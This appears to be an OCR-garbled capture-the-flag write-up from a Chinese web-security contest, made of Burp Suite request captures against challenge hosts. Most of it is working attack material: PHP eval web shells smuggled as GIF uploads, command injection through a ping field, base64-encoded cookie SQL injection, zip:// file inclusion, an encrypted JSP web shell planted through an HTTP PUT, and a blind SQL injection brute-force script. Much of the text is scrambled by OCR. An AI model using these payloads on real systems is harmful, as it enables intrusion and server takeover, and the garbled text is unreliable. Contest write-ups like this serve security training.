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POST / HTTR/L.1 A <h3>00</h3i>

Host: E=eb5b5%9.vyunyansec.com ™ <p=0000< >00000</ 1=
User-Agent: Mozilla/5.0 (Windows NT 10.0: WingE4:; x&4: </ lix

rv:77.0) Gecko/Z0l00L0L Firefox/77.0 <1lix

Aocept: <h3>000</h3>

text/htmwl, application/xhtml+xml, application/xml:c=0.9, im
age/webp, */ *;q=0.8

Aocept-Languags:

zh—CW, zh;q=0.8, sh-TW; q=0.7, zh-HE; =0.5,en-U3; q=0.3,en;q
=0.z2

Content-Type: multipart/form-datca;

<form enctype="multipart/form-data"
method="post" consubmit="return checkFile () ">
< p=>0000000000< >
<input class="input_file" type="file"
name="upload file"/>
<input class="button" type="submitc"

boundary=————————- e 170EZ56110115398673 name="submit" walus="00"/>
3378022ZBZ¢E8 </ form>

Content-Length: 364 <div id="msg"=>

Origin: http://Eseh5h59. yunyansec,. com </ dive
Connection: close <div id="img">

Referer: http://Eech5b59. yunyansec. com/ <img sre="./upload/f.php"

Upgrade-Insecure-Fequests: L width="250px" /> </ dive
</ lix

————————————————————————————— 170e25611011539867333780228

ZE8 <fol>

Content-Disposition: forw-data; nams="upload file"; </ dive

filenamwme="ft.php" < dive



https://sumarua.blog.csdn.net
https://blog.csdn.net/weixin_43510203/category_10119988.html
https://so.csdn.net/so/search/s.do?q=T-Star%25E9%25AB%2598%25E6%25A0%25A1%25E6%258C%2591%25E6%2588%2598%25E8%25B5%259B&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=T-Star++writeup&t=blog&o=vip&s=&l=&f=&viparticle=
https://0xfire.me/2020/06/30/T-Star%25E9%25AB%2598%25E6%25A0%25A1%25E6%258C%2591%25E6%2588%2598%25E8%25B5%259B/
https://blog.csdn.net/weixin_43510203/category_10119988.html

Content-Type: images/gif

<?php eval (§_GET[L1]);?>

Content-Disposition:

L)Lty

form-data; name="submit"

<1 Ay

<script type="text/javasc
sre="./js/jquery.min.js"></script>
£script type="text/javascript"
src="./ds/prism.js"></script>
<script type="text/javascript”
src="./js/index.js">»</script>
</html>
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# 6eeb5b59.yunyansec.com/upload/f.php?1

© mra @ KK=E-H=EE, 8.

¥% Eshellf8 Flflag

PHP Version 5.5.9-1ubuntu4.17

Configuration
File

System Linux 89d03e50c2b8 3.10.0-1062.9.1 el7 x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019
x86_64

Build Date May 19 2016 19:05:33

Server API Apache 2.0 Handler

Virtual Directory |disabled

Support

Configuration letc/phpb/apache2

File {(php.ini)

Path

Loaded letc/phpb/apache2/php.ini

Scan this dir for
additional .ini
files

letc/phpb/apache2/conf.d

Additional .ini letc/phpb/apache2/conf.d/05-opcache.ini, /etc/phpS/apache2/conf.d/10-pdo.ini, /etc/phpb

files parsed lapache2/conf.d/20-gd.ini, /etc/php5/apache2/conf.d/20-json.ini, /etc/phpS/apache2/conf d/20-
memcache.ini, fetc/php5/apache2/conf df20-mysql.ini, fetc/phpS/apache2/conf.df20-mysqli.ini,
letc/phpb/apache2/conf.df20-pdo_mysql.ini, fetc/phpS/apachez/conf.d/20-pspell.ini, fetc/phpS
fapache2/conf.df20-readline.ini, fetc/php5fapache2/conf.d/20-snmp.ini, fetc/phpS/apache?
fconf.d/20-xmirpc.ini

PHP API 20121113

PHP Extension 20121212

Zend Extension |220121212

iy PAT Z AR
HEM | R,

T i

S

T



—

Host: caS5dl83f.vyvunvansec.com

User-Agent: Mozilla/5.0 (Windows NT 10.0;
rv:77.0) Gecko/20100101 Firefox/77.0
Accept:

text/html, application/xhtml+xml, application/xml;q=0.9, im
age/wehp, */ *:q=0.8

Aoecept-Languages:

zh-CM, zh;q=0.8, 2sh-TW;q=0.7, 2h-HE; q=0.5,en-U3;q=0.3,en:q
=0.Z2

Content-Type: application/x-www-form-urlencoded
Content-Length: 41

iPOST Jmedium. php HTTP/L.1

Wingd: xg4:

Origin: http://ca5diB3f.yunyansec.com
Connection: close
Beferer: http://ca5dig83f.yunyansec.com/

iUpgrade-Insecure-Requests: 1

ip=127.0.0.1|cat+../key.php&Submit=Submit

PR EERBB G ?
sqli-libs 2155 J5 &%

i Fadmin admin® 35 & & cookie® "baseb4miG A 4, SERRMIEBERIEN, BIENIEAbaseb4miTFEN. &1

WMRAEREAESIE, Wl FBEANS.

Elements MNetwork Memory  Application Security Lighthouse Per
C  Filter ® O Only blac
MName Value Domain | Path

uname YWRtaW43:3D 4edcB66... |/

¥ T FHiEA)basebd 5z N, BRAL:

e

HTTF/Ll.1 Z00 QK

Content-Length: ZE

Content-Type: text/html

Date: Tus, 30 Jun 2020 01:07:57 GMT
Server: Apache/Z.4.7 (Ubuntu)
¥-FPowered-Ey: PHPF/5.5.%9-1lubuntu4. 17
Connection: close

<pre>Elag{usderhky}
</ pre>

0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user()#



W Burp Suite Professional v2020.2 - Tempaorary Project - licensed to surferyz

Burp Project Intruder Repeater Window Help

[ Dashboard ITarget T Proxy I Intruder I Repeater T Sequencer I Decoder I Comparer T Extender I Project options I User options T Deserialization Scanner ]

(1]

Gecko/20100101 Firefox/77.0
I Accept:
t/himl,application/xhiml+xml,application/xml;q=0.9, inage/webp, */%; g=0

te
.8

5 Accept-Language:

zh—-CN, zh: q=0. 8, zh-TW; q=0. 7, zh—-HK: q=0. 5, en—-US;: q=0. 3, en: q=0. 2

Accept coding: gzip, deflate

Connection: close

Cookie: uname=

MCTgdW5ph24gc2VsZWNOTDESKHNLBGY jdCBnem91cF9 jh25 jYXQodGFibGV FbmF tZSkgZnJv

bSBpbmZvemlhdGLvb19zY2h1 bWEudGFibGVzIHdoZX 1 THRhYmx 1 X3N jaGVtYTIkYXRhYmFz

ZSgpkSx1c2VyKCk j

4 Upgrade-Insecure-Requests: 1

@ | =<

Done

oo o

+ > | |Type a search term 0 matches

[
[

size = 5 »YOUR COOKIE : uname =
MCTgdW5pb24ge2VsZWNOTDESKHNIDGV jdCBnem91cF9 jh25 jYXQodG
JvbSBpbmZvemlhdGlvbl92Y2h 1 bWEUdGFibGVzTHdoZXJ1 THRhYmx 1
¥YmF
»SELECT
group_concat (table_name) from information_schema

table schema=database()),user()&" I . </br><font
font size="5">Your Login name:email a
font color= "grey" font size="5">Yo

ord: root#localhost

FibGVfbmFtZSkgZn
XaNjaGViYTLKYXRh

gpKSx1c2VyKCk] and expires: Tue 30 Jun 2020 - 10:30:48<hr></font
I * FROM users WHERE username="0" union select I,
ables where

(select

color= "pink"

br<bra>Your ID:1<center»<form action="" met hnd- post"»{input  type="

4

0 matches

submit" name="submit" value="Delete Your Coockie!" /></form></center><
bri<brr<bra<br:
</body>
</himl >
< || + || = | | Type a search term

=
1,673 bytes | 1,458 miliis [

10 =
Send Cancel <\ > | Target: http://4edc8665.yunyansec.com /@“]
]
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render]
GET 7index. php ATTP/ LT Ta TONI .DT %10t COlOF= Cyan Iont size= I STUUR [F ADDRESS [5 : F]
2 Host: 4ed4cB665. yunyansec. com R\ 192. 168. 10. 254</font><br><font color= "#FFFFO0" font size = 4 »DELETE |1
[IE I\;mnk, Mozille ,[} (Windows NT 10.0: Win64: x64: rv:77.0) YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br><font color= "orange"” font N

¥ FH)iEAbasebdfafEN, EH 4.

0" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()#

B! Burp Suite Professional v2020.2 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

ol
[ Dashboard ITarget T Proxy I Intruder I Repeater I Seguencer I Decoder I Comparer I Extender T Project options I User options I Deserialization Scanner F
10 =
Send Cancel <|v > | Target: http:/i4e4cB8665.yunyansec.com /@g
]
Request Response
Raw | Params | Headers | Hex Headers | Hex | HTML I Render]
BT /inde TTP/ 2 ] CENLET 7Dl 7LDl 7DI 7507 1INE SFC= ./ IMAages /Less-Z1. JPR 2
2 os ”:thﬁphri L[UF,SE,,L}\ com r bro<font color= "red” font size="4">YOUR USER AGENT IS : l I
-’Uon'- ““.'[”‘ lr_,," 0 -fl\indnwk NT 10.0: Winbd: x64: rv:77.0) (Windows NT 10.0: Win64: x64; rv:77.0) Gecko/20100101 Fir L
<‘m-ku-";[;l[;[-)l-[)l '[.-,-,.(.'.fm o o : P font><br><font color= "eyan" font size="4">YOUR [P ADDR S :
1 4pv0p:' o 192, 168. 10. 254</font><br><font color= "#FFFFO0" font size = 4 >DI[[F
FREEER L T F T XPIRE ¢b font o =" a" font
t/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */%;q=0 l?;s inghitnﬁg 33$£[?0? :ﬁn;g ZKE[RL SBESCant colas orange” tont
5 Accept-Language: sZWNOIDEsZ3TvdXBEY29uY2F [)l\( NvbHVtb19uYWI 1KSwzIGZyb20gaW
B it o - . ib NoZW 1hPWRhAGF1YXN1
zh=CN, zh:q=0. 8, zh-TW: q=0. 7, zh—HK: q=0. 5, en-US: q=0. 3, en; g=0. 2 U
. i“pp—i R, ,,Np” o R e KCkj and exp Tue 30 Jun 2020 - 10: <bry<, T = FROM
- lnnnol lnﬁ vlt;nh ! o users WHERE username="0" union select 1, group nnnln.ftnlumn name) , 3 lc
l Cookie: uname= h from information_schema. columns where ble_schema=database()&" LIMIT
B == ih font t size "SYour i
MCTgdW5ph24gc 2V sZWNOTDES Z3 Ty dXBEY29uY2ZFOKGNY bV Eh 1YW 1 1KSwz 162yb20gal5m Dl o R e e
b3TtYXRpb25fc2NoZW I hLmNy 2dZh 1 emlgdGF 1bGY £o2NoZW ThPWRhAGE | YN KCK j anes b, enat e tpoHedre “;“‘f’“”“&” s
) Upgrade-Insecure-Request 1 ername, id, username ~d<br><font color= ;" font size= >Your
0 Password: 3</font></b><br>Your ID:1<center><form action="" method="pos
. L "»<input type="submit" name="submit" value="Delete Your Cookie!" /></ [)I
v form>»</center><br><br><br><br>» |v
@ < + = 0 matches 0 matches
Done 1,690 bytes | 1 356 miliis ||
T = ¥
#iflag
B! Burp Suite Professional v2020.2 - Temporary Project - licensed to surfes — O x
P porary Proj ez
Burp Project Intruder Repeater Window Help
c
[ Dashboard ITarget T Proxy I Intruder I Repeater T Sequencer I Decoder I Comparer I Extender T Project options I User options I Deserialization Scanner F
10 =
Send Cancel <|v > | Target: http://4e4c8665.yunyansec.com /@
Request Response
C
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render]
| GET /index.php HTTP/1.1 [a N b
2 lHost: dodribGe. vuvanses. o 25 |Ceenterdbro<brbr><h><ing sro=". /inages/Less-21. jpg” /><bra<bradhi¢
- |[Host: 4edcobbo. yunyansec. com . } - e _FaMLvAnn Bern Aemar T itioieon




l.‘S?“A At \] 'I‘r'—[) (“- I e \I l[). [) “ [‘l: ,'[‘l: ‘I:er-- [) DrAS 00 coLor— reu LOIL SLLe— 4 /1\‘Jl.[( UL AULND 12> 0 MOZLLLld/a.v :
P P Hbs b e (Windows NT 10.0; Winb4: x64; rv:77.0) Gecko/20100101 Firefox/77.0¢/
. 4vvvp'- o : font><br><font color= "cyan ize="4">YOUR IP ADDRESS IS
: o - A . sy - , f 192, 168. 10. 254</f f "#FFFF00" font size = 4 >DELETE
text/ht e At fxhtml+xml, & at /fxml:q=0.9, image/webp, */%; q= . T . . " [
;1\ html,application/xhtml+xml,application/xml:q=0.9, image/webp, */%:q=0 YOUR CODKIE OR WAIT FOR IT TO E <bry<font color= "orange” font i
- A;von'*[\nvulwv- size = & >YOUR COOKIE : uname
B ittt . . o MCTgdW5pb24ge2VsZWNO IDEsMI xmbGFn1GZyb20gZmxhZyM= and expires: Tue 30
zh—CN. zh: g=0. 8, zh-TW: q=0. 7, zh-HK: q=0. 5, en-US: q=0. 3, en: q=0. 4
6 itvib'iFHSQHinyhnltDu 3\1|:?\Hh o=0. 5, en-05:470. 3, en: q=0. 2 Jun 2020 - 10:31:44<br></fo T * FROM users WHERE username="0"
7 ‘('l;rinm-" i-nr;r \-I:;uh. Com union select 1,2.flag from flag#” LIMIT 0,1</br><font color= "pink"” A
8 Cookie: uname=MCIgdW5pb24gc2VsZWNOIDESMixmbGFnIGZyb20gZmzhZyM= font size="D mkilid a1t color= "grey" font size="5">
l';‘:v-llrh\—T::J:\l['u|‘o-i§m uﬁq_fct E sMixmbGFnIGZyb20gZnxhZyli Your Passwor ont></b><br>Your 1D:1<center><
; & ) Hests: form action= et ype="submit" name="submit" wvalue
="Delete Your Coockie!" /></form>{/center><br><bri><br><{br> |
</body>
L <fhtml >
v 28 s
@ < + > | |Type a search term 0 matches @ < + > | |Type a search term 0 matches
Done 1,451 byles | 1 362 miliis
T
ZidfuzR I, WE<?Hevalnl PLGeidt ) SCAE#H, REphta] BL k&
age/webp, */ *;q=0.8 |§ HTTF/1.1 200 OKE
Loecept-Languags: Content-Length: 49
zh-CIl, zh;=0.8, ch-TW;=0.7, zsh-HE; q=0.5,en-U3;q=0.3,2n;q Content-Type: text/htwl;charsset=utf-g8
=0.Z2 Date: Tue, 30 Jun Z0Z0 05:13:15 GMT
Content-Type: multipart/form-data; Server: Apache/2.4.7 (Ubuntu)
boundary=-------——---""-""-""-"--——————— 1828104590440£4339920 ¥-Powered-By: PHP/5.5.9-lubuntu4.l7
E9828E81257 Connection: close
Content-Length: 27073
Origin: http://43eaf867.vunyvansec.com upload/1593493995f .pht<br />upload success!<br />
Connection: close
Beferer: http://43eaf867. yunyansec. com/
Upgrade-Insecure-Requests: 1
————————————————————————————— 192810490440£43992069628612
57
Content-Disposition: form-data; name="file";
filename="f.pht"
Content-Type: image/gif
GIFE8%a
aaa
<<??=evevalal (§ GET[1]) ?>
AdAdAaAAAAAAAARAAAARAAAARARAAAAAASAAAAAAAAAAAAAAARARAAAA
asaaaaaaaaaaadaadadaasaaaasaaaaaaaaaaaaaaaaaaaaasaaaaaa
addaaaasasaadaddadadaasaddasasaadaddadadaaaadadaadaiaaaa
adaaaaaaaqaadadaadadaaaaddadaaaaaaqaaaaaaaaaaadaadaaaaaa
adaaaaaaaqaadadaadadaaaaddadaaaaaaqaaaaaaaaaaadaadaaaaaa
RV RINEABIRATE N —F1E, UL S)
J Raw T Headers T Hex ] J Raw T Headers T Hex ]
GET /upload/l593493595£.pht HTTR/L.1 HTTF/1l.1 200 OK |l

Host: 43eaffé7?.vunyansesc.com

User-Agent: Mozilla/5.0 (Windows NT 10.0;
rv:77.0) Gecko/20l00l0Ll Firefox/77.0
Locept:

text/html, application/xhtml+xml, application/xml;gq=0.9, im
age/webp, */*;q=0.8

Aoecept-Language @

zh-CN, zh;q=0.8, zh-TW; ¢q=0.7, sh-HE; q=0.5,en-US; q=0.3,2n:; g
=0.Z

Connection: close

Upgrade-Insecure-Begquests: 1

Winé4; x£4;

Bt phpHisystemBiT a4, 5 Zflag

L

Content-Type: text/html

Date: Tus, 30 Jun Z0Z0 05:13:2Z2
Server: Apache/2.4.7 (Ubuntu)
Vary: Leccept-Encoding
¥-Powered-By: PHP/5.5.9-lubuntu4.17

GMT

Connection: close
Content-Length: ZE715
GIF&9a

aaa

dddddddddadddddddddaaddddddddddddddddddadadddadddaaadaaaaaa
dddddddddadddddddddaaddddddddddddddddddadadddadddaaadaaaaaa
dddddddddadddddddddaaddddddddddddddddddadadddadddaaadaaaaaa
AdddAaddaaaaddddAdaddaddddaddaaaddaddaaaaddaaddadaaaaaaaaa
AdddAaddaaaaddddAdaddaddddaddaaaddaddaaaaddaaddadaaaaaaaaa
AdddAaddaaaaddddAdaddaddddaddaaaddaddaaaaddaaddadaaaaaaaaa
ddddaddaaaaddddddaaaddddaddaadddaadaaaaddaddadaaaaaadaaaa
ddddaddaaaaddddddaaaddddaddaadddaadaaaaddaddadaaaaaadaaaa
ddddaddaaaaddddddaaaddddaddaadddaadaaaaddaddadaaaaaadaaaa
dddddddddadaddadddaadddaddddddaddaddddddaadddadddaaddaaaaaa
ddddddddadaddadddaadddaddddadaadaddddddaadddadddaadaaaaaa
Adddddddaaaddadddaadddaddliifddadddfididdadddnddddadaddaia
ddddddddadaddadddaadddaddddadaadaddddddaadddadddaadaaaaaa




43eaf867.yunyansec.com/uploa: X (JPEG E{&, 650x651 {&3F)

&~ c o © #& 43eaf867.yunyansec.com/upload/1593493995f.pht?1=system("cat ../../key");
BuaneEsts @ FiFErE A @ m5aE @ KKSE-9F45E, 8.

GIF89a aaa flag{Aa3c7c37508E40B3}
2222322222222222222222222222222222222222222222222222222222222222222222322222222223222223A23AA23A2AAA32AAAA23322224,

X4 A getshell
BEN, KIT It

rpypmeriedyiyanseccon X

# view-source:http://3f9e11ed.yunyansec.com/

Tkalesks @ FFELE EARLE @ =5aE O KkSE-s=EE, 8.

<html>
¢head><meta http—equiv="Content-Type” content="text/html: charset=utf-8" /></head>
<body>
<h2>REA bA%. A XMHE, B R getshell [y A4ENH. </h2>
<br>
{form method="post” action="upload. php” enctype="multipart/form—data”>
{ipput type="file” name="file” value=""/>
{input type="submit” name="submit” value="upload”/>
¢/form>
<a href="1fi. php”>LFI Here</a>
</body>

(I— Ifi. txt—>

{/himl)  ——

HEN., R CEEE

&« C @ © #& 3f%11ed.yunyansec.com/Ifi.txt

BydiEsss @ FFErlr BExsmEan © mrnE © KKe@-H345E, S..

<?php
$file = 5_REQUEST['file'];
if ($file != "') {

$inc = sprintf("%s.php", $file); // only php file can be included
include (Sinec) ;

HEFZ—ANzp>f, BEf&s.php, BEAWT, HHEHEME s, RELE



RN = . php<?php

EINULINULINULINULNULINULINUL]

INULINU

INULINULINULESSalsial

HINULBINULINULINU Lbg

BZip PRI AT i &



n/Ifi.php?file=zip://files/ThzuA25K8Dszv52t.txt%23s&1=phpinfo();

PHP Version 5.5.9-1ubuntu4.17

Configuration
File

System Linux ecf75adfc740 3.10.0-1062 9 1 el7 x86_64 #1 SMP Fri Dec 6 15:49:49 UTC 2019 x86_64
Build Date May 19 2016 19:05:33

Server API Apache 2.0 Handler

Virtual Directory |disabled

Support

Configuration letc/phpS/apache2

File (php.ini)

Path

Loaded letc/phpS/apache2/php.ini

Scan this dir for
additional .ini
files

letc/php5/apache2/conf.d

Additional .ini letc/phpSfapache2/conf d/05-opcache.ini, fetc/phpS/apache2/conf.d/10-pdo.ini, fetc/php5
files parsed fapache2/conf.d/20-gd.ini, fetc/phpSiapache2/conf.df20-json.ini, /fetc/phpSiapache2/conf.df20-
memcache.ini, /fetc/phpS/apache2/conf df20-mysql.ini, fetc/php5fapache2/conf.df20-mysgli.ini,
letc/phpSfapache2/conf d/20-pdo_mysgl.ini, fetc/phpb/apache2/conf.df20-pspellini, fetc/php5
fapache2/conf d/20-readline.ini, /etc/php5/apache2/conf df20-snmp.ini, fetc/php5fapache2
fconf.d/20-xmirpc_ini
PHP API 20121113
PHP Extension |20121212
I T s | |
2 B view sourceshttpy/f3f9e1 Ted yunyansec. comyifi. phpHile= zipy/ffiles/ ThruAZS KBDszvh 2t bt %2 358 =system('cat flag

sflrss @ FEHE B owmmn O Freew @ KKEE) STE, B

Pphp

$flag-"rlag (weisuohenzhongyaol *;

2

RS

I B R bugkuff L EIE, KFE#THAT T

&5 & #iflag:

0’ union select 1,2,3,flag from fldg#




9355241

1=0" union select 1,2,3,flag from fl4g#

1RIRRERER

2 3 flag{Sql_INJECTON_4813drd8hz4}

/NREBRER AT ¥R
H#ZEpoctl, EAN—HE

<%@page import="java.util.,javax.crypto. javax.crypto.spec.” %><%!class U extends ClassLoader{U(ClassLoader c){super®;}public
Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter(“pass”)!=null){String k=
(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue(“u”,k);out.print(k);return;}Cipher
c=Cipher.getinstance(“AES”);c.init(2,new SecretKeySpec((session.getValue(“u”)+"").getBytes(),“"AES”));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newinstance().equals(pageContext); %>



PUT /shell.jsp/ HTTR/L.1 |1 HTTF/Ll.1 201l Created

Host: £50245d0.yunyansec.com B Content-Length: O

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xf4; Date: Tus, 30 Jun 2020 08:41:19 GMT
rv:77.0) Gecko/IZ0100L0L Firefox/77.0 Server: Apache-Coyote/l.1

Aocept: Content-Type: text/plain; charset=utf-5
text/html, application/xhtml+xml, application/xml;cq=0.9, im Connection: close

age/webp, */*;q=0.8

Aoecept-Languadgs:

zh-CH, zh;q=0.8, zh-TW; gq=0.7, zh-HE; q=0.5,en-U5;qg=0.3 ,en:q
=0.2

Connection: close

Upgrade-Insecurs-Regquests: L

Tf-Modified-Since: Thu, Z0 Jun 2018 10:03:08 GMT
Tf-None-Match: W/"5615-15£10245233000"

Cache-Control: max-age=0

Content-Length: &ll

<%@pacge
import="java.util.*, javax.crypto.*, Javax.crypto.spec. *"
2<% class U extends Classloader{U(ClassLoadesr

c){superic);}public Class gibyte [Jh){return
super.defineClass (b,0,b. length) ;}}%><%1f (request.getPar
amster ("pass'™) '=nullj {String

k= (""4+UUID.randomUUID () .replace ("=, """} .substring(l&) ;

session.putValus ("u", k) ;out.print (k) ;return; }Cipher
c=Cipher.getInstance ("AES") ;c.init (2, new

SecretFeySpec|(isession.getValues"u")+"") .getBytes (), "TAE
3" ) inew
Uithis.getClassi) .getClassloader () ) .gi{c.doFinal insw
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© & 650e45d0.yunyansec.com/shell jsp 23

y FELE B sARE @ srmn @ KKSE-SssE, 8.

s 500 - An exception occurred processing page /shell.js

n occurred processing_JSP page [shel.jsp at line 1

er encountered an internal error that prevented it from fulfiling_this request.

er.JasperException: An exception occurred processing JSP page /shell.jsp at line 1

rt="java.util.*, javax.crypto.*,javax.crypto.spec.*"%><%!class U extends Classloader{U(ClassLoader c){super(c);}public

che.jasper.servlet.JspServletWrapper . handleJspException (JspServletWrapper.java:580)
che.jasper.servlet.J JspServletWrapper.service (JspServletWrapper.java:462)
che.jasper.servlet.JspServlet.serviceJspFile (JspServlet.java:395)
che.jasper.servlet.JspServlet.service (JspServlet.java:335)

ervlet _http.HttpServlet.service (HttpServlet.java:731)

che.tomcat .websocket.server . WsFilter.doFilter (WsFilter.java:52)

ervlietException: java.security.InvalidEeyException: Invalid AES key length: 4 bytes
che.jasper.runtime.PageContextImpl.doHandlePageException (PageContextImpl.java: 916)
che.jasper.runtime.PageContextImpl .handlePageException (PageContextImpl.java:845)
che.jsp.shell jsp._ JjspService(shell jsp.java:98)
che.jasper.runtime.HttpJspBase.service (HttpJspBase. java:70)
ervlet.http.HttpServlet.service (HttpServlet.java:731)
che.jasper.servlet.JspServletWrapper.service (JspServletWrapper.java:439)
che.jasper.servlet.JspServlet.serviceJspFile (JspServlet.java:395)
che.jasper.servlet.JspServlet.service (JspServlet.java:335)
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hitps://blog.csdn.net/n
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BAshel E=2ARZAEIIN, FENFindexphpiFH, FrblHcatin 4 E—% H®xMkey, &5 Acat

&« > C @ F==| 5f58cd84.yunyansec.com/?1=>cat

<Tphp
show_source(_ FILE )
error_reporting (00 ;
if (strlen(§_GET[113<T) {

echo  shell_exec(3_GET[11):
1

2
RIEETkeyR7E LEHZR

&« > C @ F==%| 558cd84.yunyansec.com/?1=Is%20../

<Tphp
show_source(_ FILE )
error_reporting (00 ;
if (strlen(§_GET[113<T) {
echo  shell_exec(3_GET[11):

}
>
html key
SR G B cat kR



< C @ F=Z== | 5f58cd84.yunyansec.com/?1=*%20../*

<Tphp
show_source(_ FILE )
error_reporting (00 ;
if (strlen(§_GET[113<T) {

echo  shell_exec(3_GET[11):
1

73
flag{a1c8BFF2}

SQL¥EA2

H BB wwwroot.zip, KIVEIEHILLESE, K S HG & #HAER —ANBEEERT, WADT.

import requests

El =['al)'bl)'Cl)'d'J'e'J"F'J'g'J'hl)'il)'jl)'kl)'1')'m')'n')'O')‘p‘)‘q|)‘r‘|)|s|)‘t|)|u|)|v|)|w|)|x|)|y|)IZIJIGIJ
'1',727,73%,74",75",76",'7",78",'9"]

for i in a:

url = "http://23dcfldc.yunyansec.com/picture.php?id=3" or password REGEXP '+'\'~'+temp+i+'\"' %23’
r = requests.get(url)

if 'not found' not in r.text:
temp = temp+i
print (temp)
break
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https://github.com/XDSEC/xdsec_ctf/tree/494b53d388186e8be21e753bb2048362842280c1/xdctf2015/izyCTF


https://github.com/XDSEC/xdsec_ctf/tree/494b53d388186e8be21e753bb2048362842280c1/xdctf2015/izyCTF
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